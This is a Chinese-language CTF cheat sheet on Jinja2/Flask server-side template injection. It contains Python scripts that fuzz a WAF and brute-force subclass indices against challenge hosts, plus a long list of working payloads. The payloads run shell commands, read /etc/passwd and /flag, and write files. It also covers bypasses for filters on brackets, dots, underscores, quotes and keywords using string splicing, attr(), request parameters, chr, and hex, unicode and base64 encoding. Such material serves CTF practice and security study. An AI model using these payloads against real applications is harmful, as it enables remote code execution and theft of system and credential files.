判断是否存在 1 2 3 4 {%if 条件%}result{%endif%} {%if not a%}yes{%endif%} 如果输出yes,则代表有SSTI模板注入漏洞。
利用python模糊测试过滤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsdef get_file_content (file_path, url ): dict_list = {} with open (file_path, 'r' ) as file: for line in file: clean_line = line.strip() if clean_line: payload = """SIAS{{{{{}}}}}""" .format (clean_line) try : response = requests.get(url, params={'code' : payload}) response_text = response.text print (f"send payload is : {payload} " ) print (f"response: {response.status_code} - {response_text} " ) if "你干嘛~" in response_text: dict_list[payload] = response_text except requests.RequestException as e: print (f"An error occurred: {e} " ) return dict_list def main (): file_path = "D:\\ctf-tools\\WEB\\字典\\ssti模糊测试.txt" url = "http://10.213.13.207:49515/WAF" dict_list = get_file_content(file_path, url) print ("\nFinal dictionary with payloads and responses:" ) for payload in dict_list.keys(): print (f"Payload: {payload} " ) if __name__ == "__main__" : main()
利用python测试os存在位置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsfor i in range (0 ,300 ): payload="""{{{{().__class__.__bases__[0].__subclasses__()[{}]}}}}""" .format (i) url = f'http://220c5101-5ca1-4c15-aebf-7933e063a683.challenge.ctf.show/?name={payload} ' ; print (f"Sending request to: {url} " ) res = requests.get(url) print (res.text) if 'os.' in res.text: print ('yes' ) break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests['popen' ]('whoami' )['read' ]() for i in range (131 ,133 ): payload="""{{{{().__class__.__bases__[0].__subclasses__()[{}].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag')").read() }}}}""" .format (i) url = f'http://220c5101-5ca1-4c15-aebf-7933e063a683.challenge.ctf.show/?name={payload} ' print (f"Sending request to: {url} " ) res = requests.get(url) print (res.text)
payload变式 1 2 {{().__class__.__bases__[0 ].__subclasses__()[{i}].__init__.__globals__['popen' ]('ls' ).read() }}
好用poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 {{().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.func_globals.values()[13 ]['eval' ]('__import__("os").popen("ls /var/www/html").read()' )}} 使用 lipsum 方法。这个是 flask 的内置方法,自带 os 模块 {{lipsum.__globals__.get('os' ).popen('cat /flag' ).read()}} 导入import 的os模块进行命令执行 {{url_for.__globals__['__builtins__' ].__import__ ('os' ).system('ls' )}} {{request.__init__.__globals__['__builtins__' ].open ('/etc/passwd' ).read()}} 过滤os 过滤了os,可以通过get来获取 {{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag {{object .__subclasses__()[59 ].__init__.func_globals['linecache' ].__dict__['o' +'s' ].__dict__['sy' +'stem' ]('ls' )}} {{request['__cl' +'ass__' ].__base__.__base__.__base__['__subcla' +'sses__' ]()[60 ]['__in' +'it__' ]['__' +'glo' +'bal' +'s__' ]['__bu' +'iltins__' ]['ev' +'al' ]('__im' +'port__("os").po' +'pen("ca"+"t a.php").re' +'ad()' )}} {{request.__class__.__base__.__base__['__subcla' +'sses__' ]()[132 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat /flag')" ).readlines()}}
常见过滤类型 1.过滤[]等括号 使用gititem绕过。如原poc
1 {{"" .__class__.__bases__[0 ]}}
绕过后
1 {{"" .__class__.__bases__.__getitem__(0 )}}
2.过滤了subclasses,拼凑法 原poc
1 {{"" .__class__.__bases__[0 ].__subclasses()}}
绕过
1 {{request.__class__.__base__.__base__['__subcla' +'sses__' ]()[132 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat /flag')" ).readlines()}}
3.过滤class 使用session
poc
1 {{session['__cla' +'ss__' ].__bases__[0 ].__bases__[0 ].__bases__[0 ].__bases__[0 ].__subclasses__()[118 ]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
1 {{session['__cla' +'ss__' ].__mro__[11 ]}}
或者
1 {{request['__cl' +'ass__' ].__mro__[11 ]}}
4.timeit姿势 可以学习一下 2017 swpu-ctf的一道沙盒python题,
这里不详说了,博大精深,我只意会一二。
1 2 3 4 5 import timeittimeit.timeit("__import__('os').system('dir')" ,number=1 ) import platformprint platform.popen('dir' ).read()
5.过滤字符点 1 {{()['__class__' ]['__base__' ]['__subclasses__' ]()[132 ]['__init__' ]['__globals__' ]['popen' ]('ls /' )['read' ]()}}
6.过滤中括号下划线单双引号但是可以利用request 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 获得内置类所对应的类 ?name={{()|attr(request.values.a)}}&a=__class__ {{().__class__.__bases__[0 ].__subclasses__()[132 ].__init__.__globals__[request.args.popen](request.args.param).read()}}&popen=popen¶m=cat+/flag 获得object 基类 ?name={{()|attr(request.values.a)|attr(request.values.b)}}&a=__class__&b=__base__ 获得所有子类 ?name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()}}&a=__class__&b=__base__&c=__subclasses__ 获得含有可以执行shell命令方法的类 import requestsfor num in range (500 ): url = "http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(" + str (num) + ")|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen" res = requests.get(url).text if "popen" in res: print (num) break ?name={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132 )|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=ls 基于 {{().__class__.__bases__[0 ].__subclasses__()[{i}].__init__.__globals__['popen' ]('ls' ).read() }}
7.过滤数字 可以改用config注入
1 {{config.__class__.__init__.__globals__['os' ].popen('cat /flag' ).read()}}
常用payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 {{[].__class__.__base__.__subclasses__()[40 ]('flag' ).read()}} {{[].__class__.__bases__[0 ].__subclasses__()[40 ]('etc/passwd' ).read()}} {{[].__class__.__bases__[0 ].__subclasses__()[40 ]('etc/passwd' ).readlines()}} {{[].__class__.__base__.__subclasses__()[257 ]('flag' ).read()}} (python3) os._wrap_close 类里有popen {{"" .__class__.__bases__[0 ].__subclasses__()[128 ].__init__.__globals__['popen' ]('whoami' ).read()}} {{"" .__class__.__bases__[0 ].__subclasses__()[128 ].__init__.__globals__.popen('whoami' ).read()}} {{[].__class__.__base__.__subclasses__()[71 ].__init__.__globals__['os' ].popen('ls' ).read()}} {{[].__class__.__base__.__subclasses__()[71 ].__init__.__globals__['os' ].popen('ls /flag' ).read()}} {{[].__class__.__base__.__subclasses__()[71 ].__init__.__globals__['os' ].popen('cat /flag' ).read()}} {{'' .__class__.__base__.__subclasses__()[185 ].__init__.__globals__['__builtins__' ]['__import__' ]('os' ).popen('cat /flag' ).read()}} {{"" .__class__.__bases__[0 ].__subclasses__()[250 ].__init__.__globals__.__builtins__.__import__ ('os' ).popen('id' ).read()}} {{"" .__class__.__bases__[0 ].__subclasses__()[250 ].__init__.__globals__['__builtins__' ]['__import__' ]('os' ).popen('id' ).read()}} {{"" .__class__.__bases__[0 ].__subclasses__()[250 ].__init__.__globals__['os' ].popen('whoami' ).read()}} {{"" .__class__.__bases__[0 ].__subclasses__()[75 ].__init__.__globals__.__import__ ('os' ).popen('whoami' ).read()}} {{'' .__class__.__base__.__subclasses__()[128 ].__init__.__globals__['os' ].popen('ls /' ).read()}} {{[].__class__.__base__.__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls').read()" )}} {{"" .__class__.__mro__[-1 ].__subclasses__()[60 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").system("ls")' )}} {{"" .__class__.__mro__[-1 ].__subclasses__()[61 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").system("ls")' )}} {{"" .__class__.__mro__[-1 ].__subclasses__()[29 ].__call__(eval ,'os.system("ls")' )}} {{().__class__.__bases__[0 ].__subclasses__()[75 ].__init__.__globals__.__builtins__['eval' ]("__import__('os').popen('id').read()" )}} {{'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.func_globals.values()[13 ]['eval' ]}} {{"" .__class__.__mro__[-1 ].__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['eval' ]}} {{"" .__class__.__bases__[0 ].__subclasses__()[250 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('id').read()" )}} {{"" .__class__.__bases__[0 ].__subclasses__()[250 ].__init__.__globals__.__builtins__.eval ("__import__('os').popen('id').read()" )}} {{'' .__class__.__base__.__subclasses__()[128 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").popen("ls /").read()' )}} {{'' .__class__.__base__.__subclasses__()[128 ]["load_module" ]("os" )["popen" ]("ls /" ).read()}} {{'' .__class__.__base__.__subclasses__()[128 ].__init__.__globals__['linecache' ]['os' ].popen('ls /' ).read()}} {{[].__class__.__base__.__subclasses__()[59 ].__init__.__globals__['linecache' ]['os' ].popen('ls' ).read()}} {{[].__class__.__base__.__subclasses__()[168 ].__init__.__globals__.linecache.os.popen('ls /' ).read()}} {{'' .__class__.__base__.__subclasses__()[128 ]('whoami' ,shell=True ,stdout=-1 ).communicate()[0 ].strip()}} 写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。 {{"" .__class__.__bases__[0 ].__bases__[0 ].__subclasses__()[40 ]('/tmp' ).write('test' )}} ----python2的str 类型不直接从属于基类,所以payload中含有两个 .__bases__ {{'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['file' ]('/etc/passwd' ).write('123456' )}} 原理:找到含有 __builtins__ 的类,利用即可。 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].eval ("__import__('os').popen('whoami').read()" ) }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('filename' , 'r' ).read() }}{% endif %}{% endfor %}
Bypass 1.使用中括号[]绕过 1 2 3 4 5 6 {{().__class__}} 可替换为: {{()["__class__" ]}} 举例: {{()['__class__' ]['__base__' ]['__subclasses__' ]()[433 ]['__init__' ]['__globals__' ]['popen' ]('whoami' )['read' ]()}}
2.使用attr()绕过 attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。
1 2 3 4 5 6 7 {{().__class__}} 可替换为: {{()|attr("__class__" )}} {{getattr ('' ,"__class__" )}} 举例: {{()|attr('__class__' )|attr('__base__' )|attr('__subclasses__' )()|attr('__getitem__' )(65 )|attr('__init__' )|attr('__globals__' )|attr('__getitem__' )('__builtins__' )|attr('__getitem__' )('eval' )('__import__("os").popen("whoami").read()' )}}
1.request绕过 1 2 3 4 5 6 7 8 9 10 11 {{().__class__.__bases__[0 ].__subclasses__()[213 ].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open &arg2=/etc/passwd request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。 若args被过滤了,还可以使用values来接受GET或者POST参数。 其它例子: {{().__class__.__bases__[0 ].__subclasses__()[40 ].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} Cookie:arg1=open ;arg2=/etc/passwd {{().__class__.__bases__[0 ].__subclasses__()[40 ].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} post:arg1=open &arg2=/etc/passwd
2.chr绕过 1 {% set chr =().__class__.__mro__[1 ].__subclasses__()[139 ].__init__.__globals__.__builtins__.chr %}{{'' .__class__.__mro__[1 ].__subclasses__()[139 ].__init__.__globals__.__builtins__.__import__ (chr (111 )%2Bchr(115 )).popen(chr (119 )%2Bchr(104 )%2Bchr(111 )%2Bchr(97 )%2Bchr(109 )%2Bchr(105 )).read()}}
注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。 关键字绕过
1.使用切片将逆置的关键字顺序输出,进而达到绕过。
1 2 3 4 5 "" ["__cla" "ss__" ]"" .__getattribute__("__cla" "ss__" )反转 "" ["__ssalc__" ][::-1 ]"" .__getattribute__("__ssalc__" [::-1 ])
2.利用”+”进行字符串拼接,绕过关键字过滤。
1 {{()['__cla' +'ss__' ].__bases__[0 ].__subclasses__()[40 ].__init__.__globals__['__builtins__' ]['ev' +'al' ]("__im" +"port__('o'+'s').po" "pen('whoami').read()" )}}
6.ascii转换 将每一个字符都转换为ascii值后再拼接在一起。
1 2 "{0:c}" .format (97 )='a' "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}" .format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )='__class__'
7.16进制编码绕过 1 2 3 4 "__class__" =="\x5f\x5fclass\x5f\x5f" =="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" 例子: {{'' .__class__.__mro__[1 ].__subclasses__()[139 ].__init__.__globals__['__builtins__' ]['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f' ]('os' ).popen('whoami' ).read()}}
同理,也可使用八进制编码绕过
8.base64编码绕过 对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。
1 2 3 4 5 6 "__class__" ==("X19jbGFzc19f" ).decode("base64" ) 例子: {{().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['X19idWlsdGluc19f' .decode('base64' )]['ZXZhbA==' .decode('base64' )]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ==' .decode('base64' ))}} 等价于 {{().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").popen("ls /").read()' )}}
9.unicode编码绕过 1 2 {%print ((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" ))|attr("\u0067\u0065\u0074" )("os" ))|attr("\u0070\u006f\u0070\u0065\u006e" )("\u0074\u0061\u0063\u0020\u002f\u0066\u002a" ))|attr("\u0072\u0065\u0061\u0064" )())%} lipsum.__globals__['os' ].popen('tac /f*' ).read()
10.Hex编码绕过 1 2 3 4 5 6 7 {{().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f' ]['\x65\x76\x61\x6c' ]('__import__("os").popen("ls /").read()' )}} {{().__class__.__base__.__subclasses__()[77 ].__init__.__globals__['\x6f\x73' ].popen('\x6c\x73\x20\x2f' ).read()}} 等价于 {{().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").popen("ls /").read()' )}} {{().__class__.__base__.__subclasses__()[77 ].__init__.__globals__['os' ].popen('ls /' ).read()}}
绕过__init__ 可以用__enter__或__exit__替代__init__
1 2 3 {().__class__.__bases__[0 ].__subclasses__()[213 ].__enter__.__globals__['__builtins__' ]['open' ]('/etc/passwd' ).read()}} {{().__class__.__bases__[0 ].__subclasses__()[213 ].__exit__.__globals__['__builtins__' ]['open' ]('/etc/passwd' ).read()}}